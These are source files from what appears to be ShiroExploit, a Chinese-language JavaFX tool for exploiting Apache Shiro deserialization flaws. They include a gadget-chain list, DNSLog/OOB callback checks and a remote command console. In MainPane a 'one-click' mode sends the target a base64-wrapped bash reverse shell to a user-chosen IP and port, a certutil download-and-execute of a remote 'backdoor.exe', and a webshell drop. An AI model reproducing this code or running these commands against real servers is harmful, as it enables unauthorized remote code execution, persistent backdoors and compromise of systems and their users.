77 | String[] names = {"CommonsBeanutils1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections8",
78 | "CommonsCollections10", "Jdk7u21","Hibernate1","Spring1","Spring2","JBossInterceptors1","JSON1","JavassistWeld1",
79 | "MozillaRhino1","MozillaRhino2","ROME","Vaadin1"};
80 | List types = new ArrayList<>();
81 | for(String name : names){
82 | types.add(PayloadType.valueOf(name));
83 | }
84 |
85 | types.retainAll(Config.getInstance().getGadgets());
86 | Config.getInstance().setGadgets(types);
87 |
88 | used = true;
89 | }
90 | }else {
91 | middlePane.setDisable(false);
92 | bottomPane.setDisable(false);
93 | staticFilePathField.setDisable(true);
94 | }
95 | }
96 | });
97 |
98 | previous.setOnAction(new EventHandler() {
99 | @Override
100 | public void handle(ActionEvent event) {
101 | Stage currentStage = (Stage)vBox.getScene().getWindow();
102 | currentStage.hide();
103 | Stage previous = (Stage)previousPane.getPane().getScene().getWindow();
104 | previous.show();
105 | }
106 | });
107 |
108 | next.setOnAction(new EventHandler() {
109 | @Override
110 | public void handle(ActionEvent event) {
111 | if(typeGroup.getSelectedToggle() == ceyeButton){
112 | Config.getInstance().setCheckMethod(0);
113 | nextStage();
114 | }
115 |
116 | if(typeGroup.getSelectedToggle() == dnsLogButton){
117 | Stage currentStage = (Stage)vBox.getScene().getWindow();
118 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance());
119 | task.valueProperty().addListener(new ChangeListener() {
120 | @Override
121 | public void changed(ObservableValue extends Integer> observable, Integer oldValue, Integer newValue) {
122 | if(task.getStatus() == 1){
123 | Config.getInstance().setCheckMethod(1);
124 | nextStage();
125 | }
126 |
127 | if(task.getStatus() == -1){
128 | PromptMessageUI.getAlert("DNSLog无法访问","DNSLog.cn暂时无法访问,请稍后再试!");
129 | }
130 | }
131 | });
132 |
133 | PenddingUI penddingUI = new PenddingUI(task, currentStage);
134 | penddingUI.activateProgressBar();
135 | }
136 |
137 | if(typeGroup.getSelectedToggle() == echoButton){
138 |
139 | if(Config.getInstance().getGadgets().size() == 0){
140 | PromptMessageUI.getAlert("输入错误","您指定的 Gadget 无法用于回显,请重新选择");
141 | return;
142 | }
143 |
144 | Config.getInstance().setCheckMethod(3);
145 |
146 | String staticFilePath = staticFilePathField.getText();
147 | if(staticFilePath == null || staticFilePath.trim().equals("")){
148 | Config.getInstance().setStaticFilePath(Config.getInstance().getRequestInfo().getRequestURL());
149 | }else{
150 | try {
151 | URL url = new URL(staticFilePath);
152 | } catch (MalformedURLException e) {
153 | PromptMessageUI.getAlert("输入错误","输入的静态资源 URL 不是一个有效的 URL");
154 | return;
155 | }
156 |
157 | Config.getInstance().setStaticFilePath(staticFilePath);
158 | }
159 |
160 | Stage currentStage = (Stage)vBox.getScene().getWindow();
161 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance());
162 | task.valueProperty().addListener(new ChangeListener() {
163 | @Override
164 | public void changed(ObservableValue extends Integer> observable, Integer oldValue, Integer newValue) {
165 | if(task.getStatus() == 1){
166 | nextStage();
167 | }
168 |
169 | if(task.getStatus() == -1){
170 | nextStage();
171 | }
172 | }
173 | });
174 |
175 | PenddingUI penddingUI = new PenddingUI(task, currentStage);
176 | penddingUI.activateProgressBar();
177 | }
178 |
179 | if(typeGroup.getSelectedToggle() == oobServiceButton){
180 |
181 | String ip = ipAddress.getText();
182 | String httpPort = httpServicePort.getText();
183 | String JRMPPort = JRMPListenerPort.getText();
184 |
185 | if(ip == null || ip.trim().equals("")){
186 | PromptMessageUI.getAlert("输入错误","IP地址不能为空");
187 | return;
188 | }
189 |
190 | if(httpPort == null || httpPort.trim().equals("")){
191 | PromptMessageUI.getAlert("输入错误","HTTPService端口不能为空");
192 | return;
193 | }
194 |
195 | if(JRMPPort == null || JRMPPort.trim().equals("")){
196 | PromptMessageUI.getAlert("输入错误","JRMPListener端口不能为空");
197 | return;
198 | }
199 |
200 | if(!validatePortInput(httpPort, JRMPPort)){
201 | PromptMessageUI.getAlert("输入错误","您输入的端口格式不正确");
202 | return;
203 | }
204 |
205 | if(!validateOOBServerConnection(ip, Integer.parseInt(httpPort))){
206 | PromptMessageUI.getAlert("连接失败","无法连接到您指定的OOB Server,请确定配置是否正确");
207 | return;
208 | }
209 |
210 | Stage currentStage = (Stage)vBox.getScene().getWindow();
211 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance());
212 | task.valueProperty().addListener(new ChangeListener() {
213 | @Override
214 | public void changed(ObservableValue extends Integer> observable, Integer oldValue, Integer newValue) {
215 | if(task.getStatus() == 1){
216 | Config.getInstance().setCheckMethod(2);
217 | Config.getInstance().setJRMPServiceAddress(ip);
218 | Config.getInstance().setHTTPServicePort(Integer.parseInt(httpPort));
219 | Config.getInstance().setJRMPServicePort(Integer.parseInt(JRMPPort));
220 | Config.getInstance().setSkipIfFound(skipIfFound.getSelectedToggle() == yesForSkip ? true : false);
221 | nextStage();
222 | }
223 |
224 | if(task.getStatus() == -1){
225 | PromptMessageUI.getAlert("DNSLog无法访问","DNSLog.cn暂时无法访问,请稍后再试!");
226 | }
227 | }
228 | });
229 |
230 | PenddingUI penddingUI = new PenddingUI(task, currentStage);
231 | penddingUI.activateProgressBar();
232 | }
233 | }
234 | });
235 | }
236 |
237 | public void drawPane(){
238 | ceyeButton.setToggleGroup(typeGroup);
239 | dnsLogButton.setToggleGroup(typeGroup);
240 | oobServiceButton.setToggleGroup(typeGroup);
241 | echoButton.setToggleGroup(typeGroup);
242 |
243 | vBox.getChildren().addAll(ceyeButton, dnsLogButton, oobServiceButton);
244 | vBox.setMargin(ceyeButton, new Insets(20,0,0,40));
245 | vBox.setMargin(dnsLogButton, new Insets(20,0,0,40));
246 | vBox.setMargin(oobServiceButton, new Insets(20,0,0,40));
247 |
248 | middlePane.setVgap(20);
249 | middlePane.setHgap(20);
250 |
251 | Label labelForIP = new Label("IPAddress");
252 | middlePane.add(labelForIP,0, 1);
253 | middlePane.add(ipAddress, 1,1);
254 |
255 | Label labelForHTTPPort = new Label("HTTPService Port");
256 | httpServicePort.setText("8080");
257 | middlePane.add(labelForHTTPPort,0, 2);
258 | middlePane.add(httpServicePort, 1,2);
259 |
260 | Label labelForJRMPPort = new Label("JRMPListener Port");
261 | JRMPListenerPort.setText("8088");
262 | middlePane.add(labelForJRMPPort,0, 3);
263 | middlePane.add(JRMPListenerPort, 1,3);
264 | middlePane.setDisable(true);
265 |
266 | vBox.getChildren().add(middlePane);
267 | vBox.setMargin(middlePane, new Insets(0, 100, 0,80));
268 |
269 | bottomPane.setVgap(20);
270 | bottomPane.setHgap(20);
271 |
272 | Label label1 = new Label("找到可用Gadget即停止寻找");
273 | yesForSkip.setToggleGroup(skipIfFound);
274 | noForSkip.setToggleGroup(skipIfFound);
275 | skipIfFound.selectToggle(yesForSkip);
276 | bottomPane.add(label1, 0, 0);
277 | bottomPane.add(yesForSkip, 1, 0);
278 | bottomPane.add(noForSkip, 2,0);
279 |
280 | bottomPane.setDisable(true);
281 |
282 | vBox.getChildren().add(bottomPane);
283 | vBox.setMargin(bottomPane, new Insets(20, 100, 20,80));
284 |
285 | vBox.getChildren().addAll(echoButton, staticFilePathField);
286 | vBox.setMargin(echoButton, new Insets(0,0,0,40));
287 | vBox.setMargin(staticFilePathField, new Insets(20,20,0,20));
288 | staticFilePathField.setPromptText("(可选)请输入一个静态资源URL,如 http://www.xxx.com/static/logo.png");
289 |
290 | HBox hBox = new HBox();
291 | hBox.getChildren().addAll(previous, next);
292 | hBox.setMargin(previous, new Insets(20,20,0,0));
293 | hBox.setMargin(next, new Insets(20,0,0,0));
294 | hBox.setAlignment(Pos.CENTER);
295 | vBox.getChildren().add(hBox);
296 | }
297 |
298 | private boolean validateOOBServerConnection(String ip, int port) {
299 | String url = "http://" + ip + ":" + port + "/echo";
300 | String result = null;
301 | try{
302 | result = HttpRequest.getResponse(url);
303 | }catch (IOException e){
304 | return false;
305 | }
306 |
307 | if(result != null && result.trim().equals("OK")){
308 | return true;
309 | }
310 |
311 | return false;
312 | }
313 |
314 | private boolean validatePortInput(String httpServicePort, String JRMPListener){
315 | try{
316 | Integer.parseInt(httpServicePort);
317 | Integer.parseInt(JRMPListener);
318 | }catch(NumberFormatException e){
319 | return false;
320 | }
321 |
322 | return true;
323 | }
324 |
325 | private void nextStage(){
326 | Stage newStage = new Stage();
327 | MainPane mainPane = new MainPane();
328 | newStage.setTitle(Config.getInstance().getRequestInfo().getRequestURL());
329 | newStage.setScene(new Scene(mainPane.getPane(), 800,600));
330 | //close第一步和第二步的2个界面
331 | Stage currentStage = (Stage)vBox.getScene().getWindow();
332 | currentStage.hide();
333 | Stage previousStage = (Stage)previousPane.getPane().getScene().getWindow();
334 | previousStage.close();
335 | newStage.setOnShown(new EventHandler() {
336 | @Override
337 | public void handle(WindowEvent event) {
338 | Platform.runLater(new Runnable() {
339 | @Override
340 | public void run() {
341 | mainPane.startRuning();
342 | }
343 | });
344 | }
345 | });
346 |
347 | //关闭 Stage 时结束所有正在执行的任务
348 | //参考 https://stackoverflow.com/questions/12153622/how-to-close-a-javafx-application-on-window-close
349 | newStage.setOnCloseRequest(new EventHandler() {
350 | @Override
351 | public void handle(WindowEvent event) {
352 | Platform.exit();
353 |
354 |
355 | new Thread(new Runnable() {
356 | @Override
357 | public void run() {
358 | try {
359 | Runtime.getRuntime().exec("java -jar ShiroExploit.jar");
360 | } catch (IOException e) {
361 | e.printStackTrace();
362 | }
363 | }
364 | }).start();
365 |
366 | System.exit(0);
367 | }
368 | });
369 |
370 | newStage.show();
371 | }
372 | }
373 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/Console.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import javafx.application.Platform;
4 | import javafx.scene.control.TextArea;
5 |
6 | import java.io.IOException;
7 | import java.io.OutputStream;
8 |
9 | public class Console extends OutputStream {
10 | private TextArea console;
11 |
12 | public Console(TextArea console) {
13 | this.console = console;
14 | }
15 |
16 | public void appendText(String valueOf) {
17 | //在JavaFx中,如果在非Fx线程要执行Fx线程相关的任务,必须在Platform.runLater中执行
18 | Platform.runLater(() -> console.appendText(valueOf));
19 | }
20 |
21 | public void write(int b) throws IOException {
22 | appendText(String.valueOf((char)b));
23 | }
24 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/MainPane.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import com.shiroexploit.util.ExploitFailedException;
4 | import com.shiroexploit.util.Tools;
5 | import com.shiroexploit.vulnverifier.Verifier;
6 | import com.shiroexploit.vulnverifier.VerifierFactory;
7 | import javafx.application.Platform;
8 | import javafx.beans.value.ChangeListener;
9 | import javafx.beans.value.ObservableValue;
10 | import javafx.collections.FXCollections;
11 | import javafx.event.ActionEvent;
12 | import javafx.event.EventHandler;
13 | import javafx.geometry.Insets;
14 | import javafx.geometry.Pos;
15 | import javafx.scene.control.*;
16 | import javafx.scene.input.KeyCode;
17 | import javafx.scene.input.KeyEvent;
18 | import javafx.scene.layout.*;
19 | import java.io.PrintStream;
20 | import java.net.MalformedURLException;
21 | import java.net.URL;
22 | import java.util.ArrayList;
23 | import java.util.Base64;
24 | import java.util.List;
25 |
26 | public class MainPane {
27 | private TextField cmd = new TextField();
28 | private TextArea textArea = new TextArea();
29 | private Button execute = new Button();
30 | private CheckBox clickToPwn = new CheckBox("简便操作");
31 | private ComboBox simpleTask = new ComboBox<>();
32 | private TextField textField = new TextField();
33 | private Button fire = new Button("Fire");
34 | private BorderPane borderPane = new BorderPane();
35 | private PrintStream printStream;
36 | private Verifier verifier;
37 | private Label commandLabel = new Label("命令");
38 |
39 | public MainPane(){
40 | drawPane();
41 | addListeners();
42 | //如此一来,简单太多了,原来的代码也不需要修改
43 | //参考 https://blog.csdn.net/qq_41886200/article/details/93711993
44 | printStream = new PrintStream(new Console(textArea));
45 | System.setOut(printStream);
46 | System.setErr(printStream);
47 | verifier = VerifierFactory.getInstance().getVerifier();
48 | }
49 |
50 | public Pane getPane() {
51 | return borderPane;
52 | }
53 |
54 | private void addListeners(){
55 | execute.setOnAction(new EventHandler() {
56 | @Override
57 | public void handle(ActionEvent event) {
58 | String command = cmd.getText().trim();
59 | if(command == null || command.equals("")){
60 | PromptMessageUI.getAlert("输入错误","请输入一条有效的命令");
61 | return;
62 | }
63 |
64 | commandLabel.setDisable(true);
65 | cmd.setDisable(true);
66 | execute.setDisable(true);
67 | new Thread(new Runnable() {
68 | @Override
69 | public void run() {
70 | String result = verifier.executeCmd(command);
71 | if(result != null){
72 | System.out.println(result);
73 | }
74 | commandLabel.setDisable(false);
75 | cmd.setDisable(false);
76 | execute.setDisable(false);
77 | cmd.clear();
78 | Platform.runLater(new Runnable() {
79 | @Override
80 | public void run() {
81 | cmd.requestFocus();
82 | }
83 | });
84 | }
85 | }).start();
86 | }
87 | });
88 |
89 | cmd.setOnKeyPressed(new EventHandler() {
90 | @Override
91 | public void handle(KeyEvent event) {
92 | //按Enter键时,具有和点击“执行”按钮同样的效果
93 | if(event.getCode() == KeyCode.ENTER){
94 | execute.fire();
95 | }
96 | }
97 | });
98 |
99 | clickToPwn.selectedProperty().addListener(new ChangeListener() {
100 | @Override
101 | public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
102 | if(clickToPwn.isSelected()){
103 | commandLabel.setDisable(true);
104 | cmd.setDisable(true);
105 | execute.setDisable(true);
106 |
107 | simpleTask.setDisable(false);
108 | textField.setDisable(false);
109 | fire.setDisable(false);
110 | }else{
111 | commandLabel.setDisable(false);
112 | cmd.setDisable(false);
113 | execute.setDisable(false);
114 |
115 | simpleTask.setDisable(true);
116 | textField.setDisable(true);
117 | fire.setDisable(true);
118 | }
119 | }
120 | });
121 |
122 | simpleTask.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() {
123 | @Override
124 | public void changed(ObservableValue extends String> observable, String oldValue, String newValue) {
125 |
126 | if(newValue.contains("Linux")){
127 | textField.setPromptText("12.34.56.78:443");
128 | }else if(newValue.contains("Windows")){
129 | textField.setPromptText("http://www.mydomain.com/backdoor.exe");
130 | }else{
131 | textField.setPromptText("http://www.targetdomain.com/upload/myshell.jsp");
132 | }
133 | }
134 | });
135 |
136 | fire.setOnAction(new EventHandler() {
137 | @Override
138 | public void handle(ActionEvent event) {
139 | String text = textField.getText();
140 |
141 | if (simpleTask.getSelectionModel().getSelectedIndex() == 0) {
142 | if(text == null || text.trim().equals("")){
143 | PromptMessageUI.getAlert("输入错误","反弹地址不能为空!");
144 | return;
145 | }
146 |
147 | String ip = text.split(":", 2)[0];
148 | String port;
149 | if (text.contains(":")) {
150 | port = text.split(":", 2)[1];
151 | } else {
152 | port = "80";
153 | }
154 |
155 | if (!checkIp(ip)) {
156 | PromptMessageUI.getAlert("输入错误", "请输入一个有效的IP地址!");
157 | return;
158 | }
159 |
160 | if (!checkPort(port)) {
161 | PromptMessageUI.getAlert("输入错误", "请输入一个有效的端口!");
162 | return;
163 | }
164 |
165 | clickToPwn.setDisable(true);
166 | simpleTask.setDisable(true);
167 | textField.setDisable(true);
168 | fire.setDisable(true);
169 |
170 | new Thread(new Runnable() {
171 | @Override
172 | public void run() {
173 | String command = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
174 | Base64.Encoder encoder = Base64.getEncoder();
175 | command = encoder.encodeToString(command.getBytes());
176 | command = "bash -c {echo," + command + "}|{base64,-d}|{bash,-i}";
177 |
178 | verifier.executeCmd(command);
179 |
180 | clickToPwn.setDisable(false);
181 | simpleTask.setDisable(false);
182 | textField.setDisable(false);
183 | fire.setDisable(false);
184 | }
185 | }).start();
186 | } else if (simpleTask.getSelectionModel().getSelectedIndex() == 1) {
187 | if(text == null || text.trim().equals("")){
188 | PromptMessageUI.getAlert("输入错误","下载地址不能为空!");
189 | return;
190 | }
191 |
192 | clickToPwn.setDisable(true);
193 | simpleTask.setDisable(true);
194 | textField.setDisable(true);
195 | fire.setDisable(true);
196 |
197 | new Thread(new Runnable() {
198 | @Override
199 | public void run() {
200 | String command = "certutil.exe -urlcache -split -f " + text + " shell.exe & shell.exe";
201 | verifier.executeCmd(command);
202 |
203 | clickToPwn.setDisable(false);
204 | simpleTask.setDisable(false);
205 | textField.setDisable(false);
206 | fire.setDisable(false);
207 | }
208 | }).start();
209 | } else {
210 | if(text == null || text.trim().equals("")){
211 | PromptMessageUI.getAlert("输入错误","Webshell目标地址不能为空!");
212 | return;
213 | }
214 |
215 | URL u = null;
216 | try {
217 | u = new URL(text);
218 | } catch (MalformedURLException e) {
219 | PromptMessageUI.getAlert("输入错误","Webshell目标地址不是一个有效的 URL!");
220 | return;
221 | }
222 |
223 | clickToPwn.setDisable(true);
224 | simpleTask.setDisable(true);
225 | textField.setDisable(true);
226 | fire.setDisable(true);
227 |
228 | new Thread(new Runnable() {
229 | @Override
230 | public void run() {
231 | List paths = Tools.getPaths(text);
232 |
233 | for(String p : paths) {
234 | String command = "directive:Shell:" + p;
235 | verifier.executeCmd(command);
236 | }
237 |
238 | System.out.println("[+] Your webshell path: " + text);
239 |
240 |
241 | clickToPwn.setDisable(false);
242 | simpleTask.setDisable(false);
243 | textField.setDisable(false);
244 | fire.setDisable(false);
245 | }
246 | }).start();
247 | }
248 | }
249 | });
250 |
251 |
252 | //当textarea获得焦点时,清除其中的文字
253 | //参考http://www.it1352.com/960364.html
254 | // cmd.focusedProperty().addListener(new ChangeListener() {
255 | // @Override
256 | // public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
257 | // if(newValue){
258 | // cmd.clear();
259 | // }
260 | // }
261 | // });
262 | }
263 |
264 | private boolean checkPort(String port) {
265 | try{
266 | int p = Integer.parseInt(port);
267 | if(p > 0 && p < 65535){
268 | return true;
269 | }
270 |
271 | return false;
272 | }catch(NumberFormatException e){
273 | return false;
274 | }
275 |
276 | }
277 |
278 | private boolean checkIp(String ip) {
279 | try{
280 | String[] parts = ip.split("\\.");
281 | if(parts.length != 4) return false;
282 |
283 | for(String part : parts){
284 | int p = Integer.parseInt(part);
285 | if(p < 0 || p > 255){
286 | return false;
287 | }
288 | }
289 |
290 | return true;
291 | }catch(Exception e){
292 | return false;
293 | }
294 | }
295 |
296 | private void drawPane(){
297 | BorderPane top = new BorderPane();
298 | top.setPadding(new Insets(10,10,10,10));
299 |
300 | commandLabel.setPrefHeight(35);
301 | commandLabel.setDisable(true);
302 | top.setMargin(commandLabel, new Insets(0,10,0,0));
303 | cmd.setPrefHeight(35);
304 | cmd.setDisable(true);
305 | top.setLeft(commandLabel);
306 | top.setCenter(cmd);
307 |
308 | execute.setText("执行");
309 | execute.setDisable(true);
310 | top.setMargin(execute, new Insets(0,0,0,10));
311 | top.setRight(execute);
312 |
313 | GridPane gridPane = new GridPane();
314 | gridPane.setAlignment(Pos.CENTER);
315 | gridPane.setHgap(10);
316 | gridPane.setVgap(20);
317 | gridPane.setPadding(new Insets(10,0,10,0));
318 |
319 | clickToPwn.setDisable(true);
320 | gridPane.setColumnSpan(clickToPwn,1 );
321 | gridPane.add(clickToPwn, 0, 0);
322 |
323 | List data = new ArrayList<>();
324 | data.add("反弹Shell(Linux)");
325 | data.add("反弹Shell(Windows)");
326 | data.add("获取WebShell");
327 | simpleTask.setDisable(true);
328 | simpleTask.setItems(FXCollections.observableArrayList(data));
329 | simpleTask.getSelectionModel().select(2);
330 | gridPane.setColumnSpan(simpleTask, 2);
331 | gridPane.add(simpleTask, 1,0);
332 |
333 | gridPane.setColumnSpan(textField, 4);
334 | textField.setPromptText("http://www.xxx.com/aaa/myshell.jsp");
335 | textField.setDisable(true);
336 | textField.setPrefWidth(400);
337 | gridPane.add(textField, 3, 0);
338 |
339 | fire.setDisable(true);
340 | gridPane.setColumnSpan(fire, 1);
341 | gridPane.add(fire, 7, 0);
342 |
343 | VBox vBox = new VBox();
344 | vBox.getChildren().addAll(top, gridPane);
345 |
346 | textArea.setEditable(false);
347 | textArea.setWrapText(true);
348 |
349 | borderPane.setPadding(new Insets(10,10,10,10));
350 | borderPane.setTop(vBox);
351 | borderPane.setCenter(textArea);
352 | borderPane.setMargin(textArea, new Insets(10,10,10,10));
353 | }
354 |
355 | public void startRuning(){
356 |
357 | Thread thread = new Thread(new Runnable() {
358 | @Override
359 | public void run() {
360 | try {
361 | verifier.getValidGadget();
362 | commandLabel.setDisable(false);
363 | cmd.setDisable(false);
364 | execute.setDisable(false);
365 | clickToPwn.setDisable(false);
366 | } catch (ExploitFailedException e) {
367 | System.out.println(e.getMessage());
368 | System.out.println("[!] Target is not vulnerable or can not exploit");
369 | Platform.runLater(new Runnable() {
370 | @Override
371 | public void run() {
372 | PromptMessageUI.getAlert("检测失败","目标应用不存在相应漏洞或者无法找到可利用的反序列化Gadget!");
373 | }
374 | });
375 | }
376 | }
377 | });
378 | thread.start();
379 | }
380 | }
381 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/PenddingUI.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import javafx.concurrent.Task;
4 | import javafx.concurrent.WorkerStateEvent;
5 | import javafx.event.EventHandler;
6 | import javafx.scene.Scene;
7 | import javafx.scene.control.ProgressIndicator;
8 | import javafx.scene.layout.Background;
9 | import javafx.scene.layout.VBox;
10 | import javafx.stage.Modality;
11 | import javafx.stage.Stage;
12 | import javafx.stage.StageStyle;
13 |
14 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382
15 | public class PenddingUI {
16 | private Stage dialogStage;
17 | private ProgressIndicator progressIndicator;
18 |
19 | public PenddingUI(final Task> task, Stage primaryStage) {
20 | dialogStage = new Stage();
21 | progressIndicator = new ProgressIndicator();
22 |
23 | // 需要添加窗口父子关系属性,不然加载窗口会与父窗口并存,形成2个窗口,解决这个问题需要在加载页面代码中添加 dialogStage.initOwner(primaryStage)
24 | // 这样加载窗口就会与父窗口融合为一个窗口
25 | dialogStage.initOwner(primaryStage);
26 | dialogStage.initStyle(StageStyle.UNDECORATED);
27 | //设置stage为透明
28 | dialogStage.initStyle(StageStyle.TRANSPARENT);
29 | dialogStage.initModality(Modality.APPLICATION_MODAL);
30 |
31 |
32 | //label.getStyleClass().add("progress-bar-root");
33 | progressIndicator.setProgress(-1F);
34 | progressIndicator.getStyleClass().add("progress-bar-root");
35 | progressIndicator.progressProperty().bind(task.progressProperty());
36 |
37 | //在 VBox 中可以加入一些其他的控件,如 label 等
38 | VBox vBox = new VBox();
39 | // vBox.setSpacing(10);
40 | //这个必须有,设置背景为透明,必须和 stage 同时为透明,才不会遮盖原本的UI
41 | vBox.setBackground(Background.EMPTY);
42 | vBox.getChildren().addAll(progressIndicator);
43 |
44 | Scene scene = new Scene(vBox);
45 | scene.setFill(null);
46 | dialogStage.setScene(scene);
47 |
48 | Thread inner = new Thread(task);
49 | inner.start();
50 |
51 | task.setOnSucceeded(new EventHandler() {
52 | public void handle(WorkerStateEvent event) {
53 | dialogStage.close();
54 | }
55 | });
56 | }
57 |
58 | public void activateProgressBar() {
59 | dialogStage.show();
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/PromptMessageUI.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import javafx.scene.control.Alert;
4 |
5 | public class PromptMessageUI {
6 | public static void getAlert(String title, String message){
7 | Alert alert = new Alert(Alert.AlertType.INFORMATION);
8 | alert.setTitle(title);
9 | alert.setHeaderText(null);
10 | alert.setContentText(message);
11 | alert.showAndWait();
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/ProxyConfigPane.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import com.shiroexploit.util.Config;
4 | import javafx.beans.value.ChangeListener;
5 | import javafx.beans.value.ObservableValue;
6 | import javafx.event.ActionEvent;
7 | import javafx.event.EventHandler;
8 | import javafx.geometry.Insets;
9 | import javafx.geometry.Pos;
10 | import javafx.scene.control.Button;
11 | import javafx.scene.control.CheckBox;
12 | import javafx.scene.control.Label;
13 | import javafx.scene.control.TextField;
14 | import javafx.scene.layout.GridPane;
15 | import javafx.scene.layout.HBox;
16 | import javafx.scene.layout.Pane;
17 | import javafx.stage.Stage;
18 |
19 | public class ProxyConfigPane {
20 | private CheckBox enableProxy = new CheckBox("启用代理");
21 | private TextField ipTextField = new TextField();
22 | private TextField portTextField = new TextField();
23 | private Button confirm = new Button("确定");
24 | private Button cancel = new Button("取消");
25 | private GridPane gridPane = new GridPane();
26 | private StartPane previous;
27 |
28 | public ProxyConfigPane(StartPane startPane){
29 | previous = startPane;
30 | drawPane();
31 | addListeners();
32 | }
33 |
34 | public Pane getPane(){
35 | return gridPane;
36 | }
37 |
38 | public void update(){
39 | enableProxy.setSelected(Config.getInstance().isProxyEnabled());
40 | ipTextField.setText(Config.getInstance().getProxyIP());
41 | portTextField.setText(String.valueOf(Config.getInstance().getProxyPort()));
42 | }
43 |
44 | private void drawPane(){
45 | gridPane.setPadding(new Insets(10,10,10,10));
46 | gridPane.setHgap(10);
47 | gridPane.setVgap(20);
48 | gridPane.setAlignment(Pos.CENTER);
49 |
50 | enableProxy.setSelected(false);
51 | gridPane.setColumnSpan(enableProxy, 2);
52 | gridPane.add(enableProxy, 0, 0);
53 |
54 | Label labelForIP = new Label("IP地址");
55 | ipTextField.setPrefWidth(200);
56 | ipTextField.setDisable(true);
57 | gridPane.add(labelForIP, 0, 1);
58 | gridPane.add(ipTextField, 1,1);
59 |
60 | Label labelForPort = new Label("端口");
61 | portTextField.setPrefWidth(200);
62 | portTextField.setDisable(true);
63 | gridPane.add(labelForPort, 0, 2);
64 | gridPane.add(portTextField,1 ,2);
65 |
66 | HBox hBox = new HBox();
67 | hBox.setAlignment(Pos.CENTER);
68 | hBox.getChildren().addAll(confirm, cancel);
69 | hBox.setMargin(confirm, new Insets(0,10,0,0));
70 | gridPane.setColumnSpan(hBox, 2);
71 | gridPane.add(hBox, 0, 3);
72 | }
73 |
74 |
75 | private void addListeners(){
76 | enableProxy.selectedProperty().addListener(new ChangeListener() {
77 | @Override
78 | public void changed(ObservableValue extends Boolean> observable, Boolean oldValue, Boolean newValue) {
79 | if(newValue){
80 | ipTextField.setDisable(false);
81 | portTextField.setDisable(false);
82 | }else{
83 | ipTextField.setDisable(true);
84 | portTextField.setDisable(true);
85 | }
86 | }
87 | });
88 |
89 | confirm.setOnAction(new EventHandler() {
90 | @Override
91 | public void handle(ActionEvent event) {
92 | if(enableProxy.isSelected()){
93 | String ip = ipTextField.getText().trim();
94 | String port = portTextField.getText().trim();
95 |
96 | if(ip.isEmpty()) {
97 | PromptMessageUI.getAlert("输入错误","IP地址不能为空");
98 | return;
99 | }
100 |
101 | if(port.isEmpty()) {
102 | PromptMessageUI.getAlert("输入错误","端口不能为空");
103 | return;
104 | }
105 |
106 | try{
107 | Integer.parseInt(port);
108 | }catch(NumberFormatException e){
109 | PromptMessageUI.getAlert("输入错误","端口号输入错误");
110 | return;
111 | }
112 |
113 | try{
114 | String[] parts = ip.split("\\.");
115 | if(parts.length != 4){
116 | PromptMessageUI.getAlert("输入错误","IP地址输入错误");
117 | return;
118 | }
119 |
120 | for(String part : parts){
121 | Integer.parseInt(part);
122 | }
123 | }catch(NumberFormatException e){
124 | PromptMessageUI.getAlert("输入错误","IP地址输入错误");
125 | return;
126 | }
127 |
128 | Config.getInstance().setProxyEnabled(true);
129 | Config.getInstance().setProxyIP(ip);
130 | Config.getInstance().setProxyPort(Integer.parseInt(port));
131 | }else{
132 | Config.getInstance().setProxyEnabled(false);
133 | }
134 |
135 | Stage currentStage = (Stage)gridPane.getScene().getWindow();
136 | currentStage.hide();
137 | Stage pre = (Stage)previous.getPane().getScene().getWindow();
138 | pre.show();
139 | }
140 | });
141 |
142 | cancel.setOnAction(new EventHandler() {
143 | @Override
144 | public void handle(ActionEvent event) {
145 | Stage currentStage = (Stage)gridPane.getScene().getWindow();
146 | currentStage.hide();
147 | Stage pre = (Stage)previous.getPane().getScene().getWindow();
148 | pre.show();
149 | }
150 | });
151 | }
152 | }
153 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/StartPane.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import com.shiroexploit.task.TestConnectionTask;
4 | import com.shiroexploit.util.*;
5 | import javafx.application.Application;
6 | import javafx.beans.value.ChangeListener;
7 | import javafx.beans.value.ObservableValue;
8 | import javafx.collections.FXCollections;
9 | import javafx.collections.ObservableList;
10 | import javafx.event.ActionEvent;
11 | import javafx.event.EventHandler;
12 | import javafx.geometry.Insets;
13 | import javafx.geometry.Pos;
14 | import javafx.scene.Scene;
15 | import javafx.scene.control.*;
16 | import javafx.scene.layout.*;
17 | import javafx.stage.Stage;
18 | import javafx.stage.WindowEvent;
19 | import org.apache.commons.codec.binary.Base64;
20 | import org.apache.commons.codec.binary.Hex;
21 | import org.controlsfx.control.CheckComboBox;
22 | import java.net.MalformedURLException;
23 | import java.net.URL;
24 | import java.util.ArrayList;
25 | import java.util.List;
26 |
27 | public class StartPane extends Application {
28 | private static final int HEIGHT = 35;
29 | private Config config = Config.getInstance();
30 | private BorderPane borderPane = new BorderPane();
31 | private BorderPane simpleRequestSubpane = new BorderPane();
32 | private BorderPane complexRequestSubpane = new BorderPane();
33 | private ComboBox comboBox = new ComboBox<>();
34 | private CheckBox complexHttpRequest = new CheckBox("复杂Http请求");
35 | private CheckBox useHttps = new CheckBox("使用Https");
36 | private CheckBox specifyKeyAndGadget = new CheckBox("指定Key/Gadget/EchoType");
